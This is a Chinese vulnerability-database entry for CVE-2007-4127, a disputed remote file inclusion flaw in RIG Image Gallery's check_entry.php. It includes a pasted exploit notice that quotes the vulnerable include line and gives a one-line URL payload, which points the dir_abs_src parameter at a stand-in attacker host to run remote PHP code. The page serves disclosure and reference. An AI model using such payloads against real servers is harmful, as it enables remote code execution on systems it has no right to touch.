Ralf Image Gallery 'check_entry.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1189595 漏洞类型 未知
发布时间 2007-08-01 更新时间 2007-08-02
CVE编号 CVE-2007-4127 CNNVD-ID CNNVD-200708-007
漏洞平台 N/A CVSS评分 6.8
|漏洞来源
https://cxsecurity.com/issue/WLB-2007080005
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200708-007
|漏洞详情
**有争议的**RalfImageGallery(RIG)又称RaphaelMollRIGImageGallery1.0版本的check_entry.php中存在PHP远程文件包含漏洞。远程攻击者可以借助dir_abs_src参数中的一个URL,执行任意PHP代码。
|漏洞EXP
------------------------------------------------------------------------
-------------------------------------------

MEFISTO PreSents...

Script: RIG Image Gallery
Script Download: http://sourceforge.net/project/showfiles.php?group_id=54367

Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

Code:
require_once(rig_check_src_file($dir_abs_src . "entry_point.php"));

------------------------------------------------------------------------
-------------------------------------------

Exploit:  check_entry.php?dir_abs_src=http://attacker.php?

------------------------------------------------------------------------
-------------------------------------------

Tnx:H0tturk,Ajann,Dumenci,Str0ke
|参考资料

来源:BUGTRAQ
名称:20070730RIGImageGallery(dir_abs_src)RemoteFileIncludeVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/475094/100/0/threaded
来源:VIM
名称:20070731WTF:RIGImageGallery(dir_abs_src)RemoteFileIncludeVulnerability
链接:http://www.attrition.org/pipermail/vim/2007-July/001749.html
来源:VIM
名称:20070731WTF:RIGImageGallery(dir_abs_src)RemoteFileIncludeVulnerability
链接:http://www.attrition.org/pipermail/vim/2007-July/001748.html
来源:VIM
名称:20070731WTF:RIGImageGallery(dir_abs_src)RemoteFileIncludeVulnerability
链接:http://www.attrition.org/pipermail/vim/2007-July/001747.html
来源:VIM
名称:20070731WTF:RIGImageGallery(dir_abs_src)RemoteFileIncludeVulnerability
链接:http://www.attrition.org/pipermail/vim/2007-July/001743.html
来源:OSVDB
名称:46973
链接:http://osvdb.org/46973
来源:XF
名称:rig-checkentry-file-include(35689)
链接:http://xforce.iss.net/xforce/xfdb/35689
来源:SREASON
名称:2938
链接:http://securityreason.com/securityalert/2938